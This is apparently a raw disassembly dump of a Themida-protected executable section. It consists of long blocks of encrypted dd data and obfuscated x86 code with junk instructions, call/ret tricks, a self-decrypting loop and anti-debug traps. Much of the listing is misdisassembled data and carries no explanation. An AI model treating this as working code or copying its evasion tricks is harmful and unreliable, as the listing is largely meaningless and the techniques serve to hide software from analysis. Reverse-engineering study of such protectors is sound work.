dd 0E63F8093h, 42CDD141h, 0D12A7319h, 82E50141h, 0B007E08Ch
dd 0BC73B157h, 3ACA96F3h, 0E60EED1Eh, 0F37EA807h, 741E36F8h
dd 2A83CC72h, 0F30F4F9Fh, 7E66D90h, 0EEE35DB6h, 0B63D3126h
dd 0D53EEB91h, 2DE693C9h, 77BAE671h, 5594A45h, 0E52E12CCh
dd 3DD683B9h, 9E71D661h, 0A3E37500h, 3CE44763h, 0B9125682h
dd 0F4D89213h, 0FC18581Fh, 56823D99h, 9F026EC7h, 0C556823Dh
dd 20CD036Ch, 8120ABF3h, 1Ch, 7ADDF939h, 0A856823Dh, 37A0FE13h
dd 7BBBDA91h, 27B2EC26h, 0E2BC59FEh, 0D1882E57h, 0A42F6FA7h
dd 3FCAD43Fh, 0DD6836DAh, 77029C78h, 149FFF12h, 0B13C62AFh
dd 50DBC34Ch, 0E9742AEBh, 85108E84h, 0E2895252h, 4C281h
dd 0EA830000h, 24148704h, 2434895Ch, 7B2368h, 24048900h
dd 81E18951h, 4C1h, 4E98300h, 5C240C87h, 52243C89h, 9308A068h
dd 24148B36h, 4C481h, 0EA810000h, 18000C4h, 4172EA81h
dd 0E281237Dh, 2423234Eh, 76E8EA81h, 0D089F801h, 3C8B545Ah
dd 4C48324h, 0FBB5352h, 0BA52912Fh, 52912F07h, 15BDA31h
dd 5A0289FAh, 5F2434FFh, 4C481h, 34FF0000h, 0C4835824h
dd 0EE6AE904h, 90E3FFFAh, 9000B854h, 0C50307FFh, 4920E0FFh
dd 37AE40FFh, 0BC3F19C1h, 2EB81343h, 51302E47h, 35FC7013h
dd 0D8753555h, 8BF3534Eh, 596B5CEFh, 5EC45E39h, 8E8B3D2Eh
dd 0A9535966h, 0F5A75C99h, 11DF2A35h, 0B7D29E1h, 0B72736F6h
dd 0E6A85854h, 93A207BAh, 0A37C7D7Eh, 311C6A3Ah, 0B6BB6065h
dd 0D45E33C0h, 0F4670AD5h, 16187619h, 0B8A432Bh, 12E848F5h
dd 0D4000000h, 0EA7F2113h, 0E8ECEB3Dh, 0A7B25229h, 0CB1E7C84h
dd 0BE91Ah, 7F00000h, 4F320050h, 871EE066h, 11E85B6Ch
dd 59000000h, 61843AB8h, 0C41DC173h, 4BA940D5h, 0E40D375Eh
dd 5850Fh, 5BBA0000h, 5A718ECBh, 5CF7C381h, 81510000h
dd 0A33B17D6h, 0FAB95A6Ch, 0F000016h, 1784h, 0FE800h, 0C4530000h
dd 51675D33h, 7B8BC36h, 23EB028h, 5E585240h, 6E833FFh
dd 0A7000000h, 8CE7AB9Dh, 1CEA8189h, 5E22C2D6h, 902FBE5Fh
dd 0C7812606h, 6CC7143Dh, 9949C781h, 8A0F5D55h, 5, 0B95984BEh
dd 0C1C78105h, 0F4444B5h, 8Ah, 603B8900h, 8E1BE66h, 8E9h
dd 652E2700h, 0C29642C7h, 0EB8161DDh, 7848ABD3h, 13E8h
dd 58C5C200h, 4F285CF3h, 1D74245Ch, 0AFF9EF59h, 5F096A80h
dd 315ED281h, 815A7839h, 48ABCFC3h, 81665378h, 5A5497CEh
dd 75850F49h, 0E9FFFFFFh, 0Eh, 0DA140991h, 3500499Ah, 0B748CFB6h
dd 9D8D0A94h, 7FA17D9h, 0CEB8h, 0CD858900h, 0E807FA14h
dd 0
; ---------------------------------------------------------------------------
pop eax
add eax, 0Dh
mov [ebx], eax
jmp loc_5DC743
; ---------------------------------------------------------------------------
db 2 dup(0), 0F2h
dd 32h dup(0F2000076h)
db 76h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5DC743: ; CODE XREF: Themida_:005DC670j
jmp short loc_5DC7A5
; ---------------------------------------------------------------------------
align 4
dd 17h dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5DC7A5: ; CODE XREF: Themida_:loc_5DC743j
jmp loc_5DD282
; ---------------------------------------------------------------------------
jmp loc_5DD27B
; ---------------------------------------------------------------------------
push 7FF9AD7h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FF9C13h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 7FF9C66h
jmp loc_58B334
; ---------------------------------------------------------------------------
db 33h, 0E3h, 0BBh
dd 643AD885h, 0A94812Eh, 0B6E827D4h, 603ED380h, 5A41F62Ah
dd 4B1E7B7h, 0AB588E10h, 56033965h, 0DCABE1BDh, 16056884h
dd 0C52B07E6h, 0A6DA70Eh, 0E6838BEEh, 0F760B9FFh, 0AF04546Ch
dd 8AB33E60h, 0C1DD37E4h, 2D35DE8Bh, 22BB6E8h, 67A90E99h
dd 0CD47AC37h, 30E146D1h, 937EE36Eh, 0F41B800Bh, 5BBA1FAAh
dd 0BF53B843h, 4E3B54DFh, 0F65F3FD6h, 15EB4A66h, 841907E6h
dd 5C85108Eh, 40E63F3h, 8B03649Ah, 0CA2945D5h, 0F807E616h
dd 64AF149Fh, 0BF55AA3Ah, 44FB39DFh, 0F1AD67BCh, 29759E4Bh
dd 0D1CD4499h, 71C1742Bh, 0FFA5F91Ch, 0C799F348h, 845F1618h
dd 3774833Ch, 2CDAh, 0E0358A00h, 640A33BEh, 0C799F3ADh
dd 3DA0BC18h, 63FFE683h, 5DBC5B0Ah, 84336BA7h, 0E11692BCh
dd 0F3929F59h, 6D43A24Dh, 3Fh, 0C799F306h, 527CBC18h, 394037FDh
dd 0BE218D3Dh, 0E4FFE736h, 314DE58Bh, 0FFE736CEh, 0DEC050A5h
dd 19842A53h, 0E64F4FC4h, 8A140156h, 7930D6FFh, 6BA75DBCh
dd 0E5C1A222h, 0E64F26FBh, 0F34AA937h, 1E3ACA96h, 7E0A07Ch
dd 1A46D12Ah, 7E09FB3h, 0B3823CBDh, 9EF45773h, 0C92207E0h
dd 0AB1B5323h, 62B9406Eh, 4A000001h, 35C59BF3h, 0E683BE19h
dd 0D24095FFh, 731841CCh, 4972FDA1h, 71015AA3h, 0BEB67B47h
dd 46EC1798h, 20E63B3h, 42E8119Ch, 90207E95h, 11D13450h
dd 0A6FFFFE7h, 0BC0BC200h, 4FF5A967h, 9D2D71A2h, 0C1647E73h
dd 761CDBC8h, 0F352C1BFh, 1618C799h, 833C845Fh, 41DA3774h
dd 6B000000h, 18C799F3h, 833DA0BCh, 0A63FFE6h, 527CBC5Bh
dd 0A8C6449h, 1B85E8Fh, 1EF76BA7h, 0A9681780h, 456D4Ah
dd 0FB250000h, 0E87EDA3Bh, 96F915EBh, 0BCFFE6E5h, 4E6AFA63h
dd 0FFE6E4EBh, 631AC019h, 18C799F3h, 833DA0BCh, 2841FFE6h
dd 0BC5DBC79h, 4BF1AD67h, 7B2A749Eh, 993692BCh, 91E44763h
dd 0B912FFE6h, 2CA8D83Fh, 0F37CDB86h, 1935C59Bh, 0FFE683C2h
dd 0F98B5781h, 0E9AA95CEh, 16A1FA43h, 0AC3C62B1h, 57E2BC57h
dd 934A882Eh, 83326CA7h, 0F1AD67BCh, 0F349B84Bh, 2276A099h
dd 2C0F659Dh, 2594F763h, 69C2FFE7h, 5F165100h, 0F4AA67BCh
dd 83367E4Eh, 28D43774h, 65000000h, 18C799F3h, 0EE277CBCh
dd 1A5A36B0h, 0C453709Dh, 4C47AA1Eh, 146DFFE7h, 0A75DBC65h
dd 0A984336Bh, 1D6D4Ah, 0F3060000h, 0BC18C799h, 6BF6A867h
dd 0E8049C42h, 0FFE68385h, 0BCC17089h, 336BA75Dh, 6D4AA984h
dd 0B5h, 0C59BF306h, 83BE1935h, 8BE4FFE6h, 0B571D1FBh
dd 0CD7579B4h, 0E42F9427h, 97EC84BAh, 0C37A207Eh, 83326CA7h
dd 99F352C1h, 5F1618C7h, 74833C84h, 0C7E32337h, 0FCE68364h
dd 0B2933992h, 51h, 0A099F343h, 0E6832184h, 8DF64FFFh
dd 3DA0BCDEh, 14FFE683h, 0BF4A54BFh, 27A7F096h, 0D45F3FD2h
dd 83DC3FABh, 750AFFE6h, 4A73FEA0h, 93E878E1h, 0C0771D81h
dd 6BA75DBCh, 0C24EA333h, 0A97F36DCh, 2F6D4Ah, 0E5250000h
dd 0E68366C9h, 8D338CFFh, 0C799F3D6h, 0AC67BC18h, 834CAFCBh
dd 217AFFE6h, 5E042DB8h, 8347AAC6h, 324BFFE6h, 0A75DBC83h
dd 0A984336Bh, 0AC67BC4Ah, 749F4CF2h, 0D63A9F2Ah, 2EE592C8h
dd 54B9E570h, 0F1FFE683h, 4ED587B1h, 17B23EDh, 0DA808F2Ch
dd 58BB9F59h, 2284090Ah, 37A6518h, 6CFC65CEh, 4C260942h
dd 0E98F613Bh, 51BE13ABh, 19FAA74Dh, 0C69FA85h, 16A1FD16h
dd 0FB1760B1h, 0FFE75A98h, 71FC65BEh, 9B6A2455h, 0E75A1C7Fh
dd 88F14AFFh, 0A55B8505h, 61B4E831h, 27E16208h, 98CED043h
dd 7E0E5237h, 0E177C062h, 28DE607h, 8AF688B2h, 0B74A6339h
dd 43369D11h, 0BF4007E1h, 4FC6FE05h, 58AD406Fh, 5A3BE1BDh
dd 2Ch, 326CA7EBh, 83187BA7h, 84ADFFE6h, 352DE6CAh, 0B34BFDFh
dd 71E812A2h, 63E6B40Eh, 0FE8915FEh, 88C66CD5h, 2A749BF0h
dd 19D0769Fh, 0A7326CA7h, 0D565FB8Eh, 0E616AEB9h, 719F3407h
dd 2D8EC42Dh, 5874045Ch, 0FE032B6h, 9F5572DCh, 0DF898B98h
dd 48BCE676h, 7C778B7Ch, 669225CBh, 0FFEC74FFh, 12477109h
dd 0C74555C3h, 811DF499h, 0A627CDF6h, 0CCADE5ECh, 384B3879h
dd 0DC000000h, 35C59BF3h, 0E683C619h, 0EB287DFFh, 4FC328B3h
dd 0F740E64Fh, 57B90E9Eh, 83A10420h, 76CFFFE6h, 0B359820Dh
dd 284FC61Bh, 0E683A90Ch, 157ED7FFh, 1BF8DFh, 0F3910000h
dd 1935C59Bh, 0FFE683C2h, 92E777D0h, 618B1B83h, 311050CDh
dd 0A1DF85E9h, 1B46DEAh, 0E5250000h, 0E68366C9h, 8D338CFFh
dd 0C49CF3D6h, 0BC52C115h, 82FD607Ch, 0CA23FFE6h, 29C7724h
dd 845F1653h, 3774833Ch, 53DAh, 67BC6B00h, 3F68F3ABh, 833093AFh
dd 0FD56FFE6h, 0CF99F657h, 3DA0BC20h, 63FFE683h, 0D05B43CEh
dd 84AE3EA7h, 0BCB1936Eh, 8E77FFB2h, 2DDCD9BAh, 0BC671EC4h
dd 0AB67BC5Dh, 75A04DF3h, 0CF449929h, 0A97229CFh, 7AA83F69h
dd 0DF928BEBh, 3A6D8239h, 6000000h, 15C49CF3h, 833DA0BCh
dd 1741FFE6h, 0AC013CBEh, 504EC40Eh, 0CA339CC5h, 0BDDB103Ah
dd 0BDE7691Eh, 7CBC6017h, 20A0ED27h, 0DA7963C1h, 56BF64CDh
dd 0A7EBA248h, 0A981306Eh, 607CBC4Ah, 0FFE682FDh, 7724CA23h
dd 0BC53029Ch, 0FB47B892h, 0B3594905h, 99F3B120h, 30E237C7h
dd 1611C86Eh, 833C845Fh, 62DA3774h, 6B000000h, 0B5F392BCh
dd 9940A0Bh, 419166E0h, 0CF3866A9h, 0A2C4C829h, 3DA0BCF3h
dd 63FFE683h, 1E3A7A0Ah, 0FFE683BBh, 33EA90E9h, 7C527CBCh
dd 3F58BFBBh, 81012D9Bh, 2F1AE07h, 92BCA55Ch, 2A0F43CCh
dd 2BD87EDCh, 5997BE7h, 0B0CC0C9Ch, 0FFE6D54Dh, 0A0751A73h
dd 0A44A73FEh, 6D4AA9EDh, 43h, 0C799F306h, 3DA0BC18h, 41FFE683h
dd 92BC7928h, 0B29A3A57h, 5648CAF7h, 9339A2CBh, 7CBC9CFBh
dd 0E682FD60h, 3ACA23FFh, 0E683BB1Eh, 0EA90E9FFh, 1AC9D53Dh
dd 0D2969A9h, 0FFE683AAh, 35DA7FD8h, 0A70CC369h, 50A53569h
dd 2851DCC2h, 5F9FEF82h, 0E683E043h, 7AD06FFh, 0E6832D93h
dd 0CAF43CFFh, 62649C21h, 8F10B677h, 7F1FF1D5h, 69A79249h
dd 838FF20Eh, 147CFFE6h, 815A57B5h, 3DD86DAEh, 44ADD661h
dd 0C52E709Fh, 76D9F535h, 4DFFE77Ah, 0E77ACE31h, 5A9BF4FFh
dd 78C85B01h, 24AFEF23h, 7A55B8D4h, 227BFFE7h, 0AA6613B9h
dd 1C4D69F4h, 0E5927E62h, 0E77A66C9h, 1CF78CFFh, 7AB01982h
dd 0E784E006h, 81D666FFh, 57800B93h, 88A6E1B1h, 0EE463875h
dd 0D7FFFFFDh, 0E68379E0h, 83957CFFh, 3498FFE6h, 37FFE683h
dd 0FFE683D0h, 0E6836CD3h, 83086FFFh, 6B1EBFE6h, 0E52565F5h
dd 0E68366C9h, 8D338CBFh, 0E3A85519h, 9D2881C7h, 0CB5B0584h
dd 2945618Bh, 65771188h, 0A1014BBFh, 0CC25CFDEh, 99E4360Eh
dd 3DDC1759h, 294h, 0D006987Eh, 79AFEF23h, 1F5549CCh, 0CB019D72h
dd 75ABF31Eh, 6EA38C41h, 0C74DFA30h, 1CF4A1D7h, 749F4C82h
dd 0CD25F42Ah, 0E61D4EB1h, 570E7407h, 0A7326CA7h, 0D565FB8Eh
dd 0E616AAB9h, 0A9DF3807h, 0E616CE35h, 0BBA5E407h, 0A9AC0F2Bh
dd 81DA0FE5h, 28769CF1h, 7E95EA82h, 837ADDF9h, 0CF44FFE6h
dd 16F98ECFh, 6BD4FD88h, 0F41FCC02h, 8FCF1FAAh, 84E54165h
dd 2591A43Dh, 0FFE69DC2h, 7DF197F0h, 0FFE69D1Eh, 6BFB6524h
dd 6CCFEB2Bh, 9AFFE69Dh, 20279B41h, 8E07E631h, 0C350A535h
dd 1BF8A5DBh, 0AADFF883h, 0FF0A26B6h, 0A50FE59Fh, 0E1A8C14Ch
dd 7B9AEF7Fh, 9D7DE0FCh
dd 4AA3FFE6h, 8E1C56E1h, 4BBDD1F9h, 6A02A811h, 0E6D7EF4Eh
dd 24B40D07h, 0E2139FFAh, 6A1051BCh, 0E1967DD2h, 0E64B62C5h
dd 0CE379007h, 732BE93Eh, 0C9283E8h, 12BFFDA3h, 0F75A7601h
dd 1D07E64Ah, 67D84AC4h, 5F470B1Bh, 943C66F6h, 3123D7AAh
dd 123ED177h, 7E644ABh, 898C8C1h, 0E5D3DDECh, 4682AC0Fh
dd 9F83890Bh, 8FE831D7h, 0C29EEB04h, 0C7101632h, 65BE07E0h
dd 640385A7h, 0CC6BA69Eh, 158h, 0C425CBAh, 0B5EBB35Fh
dd 5B910D08h, 73D61AEh, 0B1E7B75Ah, 32DFC87Dh, 8B89366Ch
dd 0E030DD13h, 38DB88BEh, 9613066h, 0E61F8AEDh, 9B52B807h
dd 3ACA96F3h, 0E6170F1Eh, 0A9348D07h, 0D767F990h, 0E03801BBh
dd 0CE8CE50Fh, 999B8A62h, 5E988C3h, 0D000001h, 0B25F9509h
dd 5B083E60h, 1AEE4BAh, 0AD5A900Eh, 0D0043A64h, 0C1DD341Bh
dd 6836DE8Bh, 138B8532h, 0BBE330DDh, 425EB685h, 7E61FDFh
dd 0BCE89F05h, 4FF5A967h, 35C59BEEh, 0E6171219h, 0F61C7107h
dd 4EF41DA8h, 0C71CAC05h, 1BAE544Ah, 0B415DB6h, 5EE9B55Eh
dd 8C1C4445h, 0E5A90D70h, 5EB3330Fh, 355EE9B5h, 0E68366C9h
dd 8E338CFFh, 7CB21B83h, 255B43CFh, 0CE314D8Dh, 0F4FFE683h
dd 0CD48F59Bh, 21EE9BD1h, 83D73A56h, 0A4FDFFE6h, 2D6D053Bh
dd 0E683AE11h, 3854D4FFh, 0FFE683D5h, 9339A2FBh, 3D732BE6h
dd 0DBC350A5h, 0D4812750h, 7E2B613Dh, 25D20896h, 0D07DB3EBh
dd 8D255B43h, 1CC2DC38h, 0C3F9A56Fh, 0A9392762h, 0AA0D2969h
dd 74FFE683h, 65BEFF9Fh, 15E84BBFh, 95BF07E6h, 1E0F47CCh
dd 0C6E2722Bh, 7E62463h, 49923891h, 130065F0h, 0D6E558Bh
dd 7000000h, 0FD607CBCh, 23FFE682h, 2C8B24CAh, 0A42F6FA7h
dd 3FCAD43Fh, 0DD6836DAh, 77029C78h, 149FFF12h, 0B13C62AFh
dd 50DBC34Ch, 0E9742AEBh, 85108E84h, 32D76852h, 2C890000h
dd 81E58924h, 4C5h, 4ED8300h, 5C242C87h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push 782Eh
mov [esp], ebx
push esi
mov esi, 76587DADh
shl esi, 2
neg esi
add esi, 70B0271Ah
push edi
mov edi, 3462798Ch
neg edi
neg edi
inc edi
or edi, 4112035Dh
xor edi, 0FA3CE707h
sub esi, edi
pop edi
mov ebp, esi
pop esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push 6AA1h
mov [esp], eax
mov eax, 8
add eax, ebx
mov [eax], ebp
pop eax
push dword ptr [esp]
pop ebx
add esp, 4
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_58B334
; ---------------------------------------------------------------------------
db 6Bh, 0F4h, 0E5h
dd 6118E456h, 101DB53Fh
db 5Fh, 0DEh, 0B1h
; ---------------------------------------------------------------------------
loc_5DD27B: ; CODE XREF: Themida_:005DC7AAj
mov eax, 7FF9D90h
add eax, ebp
loc_5DD282: ; CODE XREF: Themida_:loc_5DC7A5j
mov eax, ebx
call sub_5DD290
dec ecx
cwde
; ---------------------------------------------------------------------------
db 0FEh
dd 795746E0h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_5DD290 proc near ; CODE XREF: Themida_:005DD284p
jmp sub_5DD2A1
sub_5DD290 endp
; ---------------------------------------------------------------------------
fcom dword ptr [ebx+ebx*2]
cmp eax, 7E247E52h
push es
dec esi
and ah, bl
; =============== S U B R O U T I N E =======================================
sub_5DD2A1 proc near ; CODE XREF: sub_5DD290j
arg_0 = dword ptr 4
pop ecx
mov eax, ebx
add ecx, 74C7h
xor dl, 0C4h
mov ebx, 12CEE352h
xor ebx, 12CEFE54h
jmp loc_5DD2CE
; ---------------------------------------------------------------------------
db 86h, 22h, 2Bh
dd 0B8FF28ECh, 329E8770h, 5C16E28Dh
; ---------------------------------------------------------------------------
jge short loc_5DD2E4
loc_5DD2CE: ; CODE XREF: sub_5DD2A1+17j
; sub_5DD2A1+8Cj
push dword ptr [ecx]
pusha
sub esi, 59D67989h
add dx, 0E551h
popa
pop edi
jmp loc_5DD2F3
; ---------------------------------------------------------------------------
inc ecx
loc_5DD2E4: ; CODE XREF: sub_5DD2A1+2Bj
aam 87h
xor bl, [eax+eax*8-5CA0B448h]
mov edx, 9F55242Bh
; ---------------------------------------------------------------------------
db 0A2h
; ---------------------------------------------------------------------------
loc_5DD2F3: ; CODE XREF: sub_5DD2A1+3Dj
add edi, 4BD03979h
jmp loc_5DD304
; ---------------------------------------------------------------------------
fst dword ptr ds:9F3B3AC9h
loc_5DD304: ; CODE XREF: sub_5DD2A1+58j
sub edi, 6F9F484Ch
sub edi, 69684DD0h
jo loc_5DD319
movzx esi, ax
loc_5DD319: ; CODE XREF: sub_5DD2A1+6Fj
mov [ecx], edi
mov dx, bx
sub ecx, 3
jnp loc_5DD329
mov dh, 11h
loc_5DD329: ; CODE XREF: sub_5DD2A1+80j
dec ecx
mov dh, 0D1h
dec ebx
jnz loc_5DD2CE
jnb loc_5DD33C
mov dx, ax
loc_5DD33C: ; CODE XREF: sub_5DD2A1+92j
jmp loc_5DD484
; ---------------------------------------------------------------------------
cmc
lea esi, [ebp+7FF9F7Eh]
clc
lea eax, [ebp+7FD7DE2h]
push 0
push edi
call loc_5DD35A
and [edi-3Dh], bl
loc_5DD35A: ; CODE XREF: sub_5DD2A1+B1p
pop edi
mov [esp+arg_0], edi
add [esp+arg_0], 16h
inc edi
push edi
retn
; ---------------------------------------------------------------------------
dw 4806h
dd 1860FB4h, 0F8000000h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1C0424h, 51410000h, 41726DC3h, 81500EDDh
dd 6AC390B4h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 0A59EC357h, 165CC1D0h, 66326226h
dd 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 0A30D64C3h, 816660A0h, 0B77161D2h, 0C1F661F6h
dd 4B840F04h, 0F5000000h, 0C8D0Fh, 840F0000h, 6, 8F0Fh
dd 0FB8B0000h, 0C032CB8Bh, 2BFD75AEh, 2BD9F7CFh, 49D78BF9h
dd 0EBD98Bh, 13F20CDh, 0C00B0001h, 708D1874h, 8BFA8B0Ch
dd 0A75A6CBh, 0B8FA7549h, 1, 8B09EBh, 0B8E4EBh, 0CF000000h
dd 15850Fh, 890F0000h, 0Fh, 0AE9h, 571BB500h, 4A4F6674h
dd 0E90C142Bh, 0Eh, 0E6C6404Ch, 3FB4462Fh, 0CF62056Eh
dd 0DE94D44h, 0B9000000h, 0F1347129h, 91C4190Bh, 0DF03949Eh
; ---------------------------------------------------------------------------
loc_5DD484: ; CODE XREF: sub_5DD2A1:loc_5DD33Cj
mov dword ptr [ebp+7FF9FDDh], 1013Fh
lea ecx, [ebp+7FFA101h]
push 0
push ebx
call sub_5DD49F
and [ebx-3Dh], bl
sub_5DD2A1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5DD49F proc near ; CODE XREF: sub_5DD2A1+1F6p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5DD49F endp
; ---------------------------------------------------------------------------
or [edi], cl
mov edi, 0D98D89D7h
sbb al, 0FAh
pop es
push 0
push esi
call sub_5DD4C4
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DD4C4 proc near ; CODE XREF: Themida_:005DD4BCp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_5DD4C4 endp
; ---------------------------------------------------------------------------
aaa
test byte ptr [eax-40h], 7Ch
cmp dh, [eax+29h]
sub [ebp+7FA006Dh], edi
mov dword ptr [ebp+7FA31ADh], 5E58h
xor [ebp+7FA14B9h], edx
mov dword ptr [ebp+7FA2BD9h], 0
mov di, 0CE34h
push dword ptr [ebp+7FA2EA9h]
push 0
push ebx
call sub_5DD511
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DD511 proc near ; CODE XREF: Themida_:005DD509p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5DD511 endp
; ---------------------------------------------------------------------------
db 2Eh, 0C7h, 0C5h
; ---------------------------------------------------------------------------
or ebp, [ebp-76353492h]
mov ebp, 7FA3395h
call dword ptr [ebp+7FA1799h]
or eax, [ebp+7FA29E5h]
push 0
call dword ptr [ebp+7FA1019h]
mov eax, eax
jmp short loc_5DD5B5
; ---------------------------------------------------------------------------
db 0C0h
dd 826DA65Dh, 39468A1Bh, 450697FEh, 79F64E12h, 3E140D67h
dd 0E182B9Eh, 0F16E765h, 6FFEC162h, 0C541CA27h, 3C8501C5h
dd 0C13CEEA6h, 0A9F39310h, 1E5E4074h, 5BF1E435h, 0AA0EA38h
dd 380EF58Eh, 0A91EAAA7h, 976F6E89h, 6C4E0841h, 676130F3h
dd 0F0683665h, 0D3D6DD99h, 86183391h, 0E75F6FE6h, 3D706EF0h
dd 5D372EA9h, 0F87DB603h
db 79h
; ---------------------------------------------------------------------------
loc_5DD5B5: ; CODE XREF: Themida_:005DD545j
call sub_5DD5CB
dec esp
test al, 91h
cmp dh, [ebx]
sti
int 3 ; Trap to Debugger
db 64h
jl short near ptr loc_5DD640+3
db 2Eh
mov esi, 0DCE1D5C7h
; =============== S U B R O U T I N E =======================================
sub_5DD5CB proc near ; CODE XREF: Themida_:loc_5DD5B5p
pusha
call sub_5DD5DF
pop edi
mov cl, 7Bh
xor al, 3
aas
out 10h, eax
pop ecx
movsb
retn 0C53h
sub_5DD5CB endp
; ---------------------------------------------------------------------------
db 0EBh
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_5DD5DF proc near ; CODE XREF: sub_5DD5CB+1p
jmp sub_5DD5F5
sub_5DD5DF endp
; ---------------------------------------------------------------------------
dd 0DEB1C8Ch, 0CC9BF650h, 43C8384h, 23CE08C1h
db 0E5h
; =============== S U B R O U T I N E =======================================
sub_5DD5F5 proc near ; CODE XREF: sub_5DD5DFj
pop ebx
popa
pop ebx
mov [ebp+7FA0061h], edx
add ebx, 6890h
mov dh, ch
push 0
mov edx, edi
pop ecx
mov esi, [ebp+7FA17A9h]
loc_5DD614: ; CODE XREF: sub_5DD5F5+6Dj
mov edi, [ebx+ecx]
mov al, 0CDh
xor edi, 666BF22Fh
xor [ebp+7FA33E1h], eax
add edi, 3EE32A4Ch
mov esi, [ebp+7FA3229h]
add edi, 0B84B32Eh
cld
mov [ebx+ecx], edi
or si, 6DC7h
loc_5DD640: ; CODE XREF: Themida_:005DD5C2j
add si, 74E7h
sub ecx, 68B2D308h
or edx, [ebp+7FA0EE9h]
add ecx, 68B2D304h
mov esi, 5F72C378h
cmp ecx, 0FFFF9820h
jnz loc_5DD614
xor eax, [ebp+7FA0E65h]
lea ecx, [ebp+7FFA310h]
push 0
push ebp
call sub_5DD67F
and [ebp-3Dh], bl
sub_5DD5F5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5DD67F proc near ; CODE XREF: sub_5DD5F5+82p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_5DD67F endp
; ---------------------------------------------------------------------------
db 0E7h
; ---------------------------------------------------------------------------
mov edi, [ebp+7FA208Dh]
mov [ebp+7FA1CD9h], ecx
push 0
push eax
call sub_5DD6A7
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DD6A7 proc near ; CODE XREF: Themida_:005DD69Fp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5DD6A7 endp
; ---------------------------------------------------------------------------
db 45h
dd 0F5637705h, 2948FC1h, 0AD85C72Eh, 407FA31h, 6A00005Eh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 0C76BC357h, 34C53638h, 0F84396E5h, 2BD985C7h
dd 7FAh, 0BA660000h, 0B5FFC575h, 7FA243Dh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0AAC35646h, 12E862h
dd 5B770000h, 7336FE76h, 5B2CFE2Ch, 3B01E315h, 4A602DCh
dd 2F99BD03h, 0FF5A07FAh, 0FA179995h, 43F8B807h, 6A5084h
dd 101995FFh, 0C08B07FAh, 5CD25BEBh, 0F2827AD9h, 63B8281Fh
dd 0F7E443C4h, 0C58D67F9h, 0AEFF6E19h, 6E7555Ch, 6F37E015h
dd 56A1F6E6h, 92A91B8h, 3FFF91Fh, 9F653618h, 0EF9932B2h
dd 4B9916B9h, 56B3996Eh, 0B29CE40Ah, 0B4787401h, 65E55DB9h
dd 12DA9C4Ch, 9E29BC7Dh, 8D18C0BCh, 0B61883C0h, 0CF15AFB4h
dd 2CE9B1h, 4E5A0000h, 5433h, 9 dup(0)
dd 4AE90000h, 4D000005h, 0F29FD5C9h, 9B487E20h, 41EE247Ah
dd 0ED9AD0CEh, 10447A24h, 19D745Bh, 0A8F61ECBh, 534BC572h
dd 0FBA3701Dh, 829EF6C5h, 7E6261Fh, 0A728DF45h, 1CD0216Ch
dd 6BF21713h, 0FF127702h, 57BC699Fh, 0E99050Bh, 0C2EC7CE5h
dd 0C40C8CC9h, 6737DC02h, 60C558FEh, 0FB60EBB3h, 0A3FC8717h
dd 0A952953h, 33F206D8h, 0E6EBB417h, 2089E2FFh, 703FF97Ah
dd 1EA9F51Bh, 71A24FF5h, 0C64AF72Dh, 1BF5A2D8h, 8193F883h
dd 0D700921Dh, 8BD7391Dh, 73D6F285h, 0A1FFE6EBh, 4076DF48h
dd 8E1E8093h, 1CC2DC39h, 0EAF75D89h, 0B526FFE6h, 0F7BCF4FBh
dd 695A3874h, 0EB000000h, 0A7326CA7h, 0E683167Bh, 18D243FFh
dd 8591F49h, 0D2037E9Ch, 8245C2Ch, 1C23875h, 53000000h
dd 1DF76BA7h, 3D8D1881h, 5BAF1813h, 0D177F923h, 25B0EE24h
dd 0FD134FC0h, 84ED16A1h, 0AD67A0F9h, 1F829EDEh, 45FFE6F2h
dd 799946ECh, 0D142EF25h, 99133DCDh, 5065DCB6h, 0A10A947Dh
dd 0FB25BDFBh, 7DD51E92h, 742BD12Bh, 0A4346AA7h, 4ED9C54Fh
dd 87EC7F25h, 6638D78Bh, 6938B2DBh, 5F1AC57h, 0F74CDC45h
dd 0D1CD471Bh, 0EB41D46h, 0A0FE167Bh, 1265B015h, 0E6FF93F6h
dd 0FF68C1FFh, 35EF3074h, 4600318Dh, 0AEF02277h, 0E8B65B08h
dd 7F0E05B2h, 0B779A436h, 8520FA95h, 0C7BEFA74h, 0EF19A912h
dd 631B6EEh, 21B45AD1h, 0BA4559BCh, 59E4BA55h, 0F37E20F4h
dd 901B838Eh, 20DA0B67h, 0D8921378h, 74D089D1h, 31467038h
dd 0CEE1741Eh, 37CAF424h, 73DCA288h, 62ECCDh, 0A77D0000h
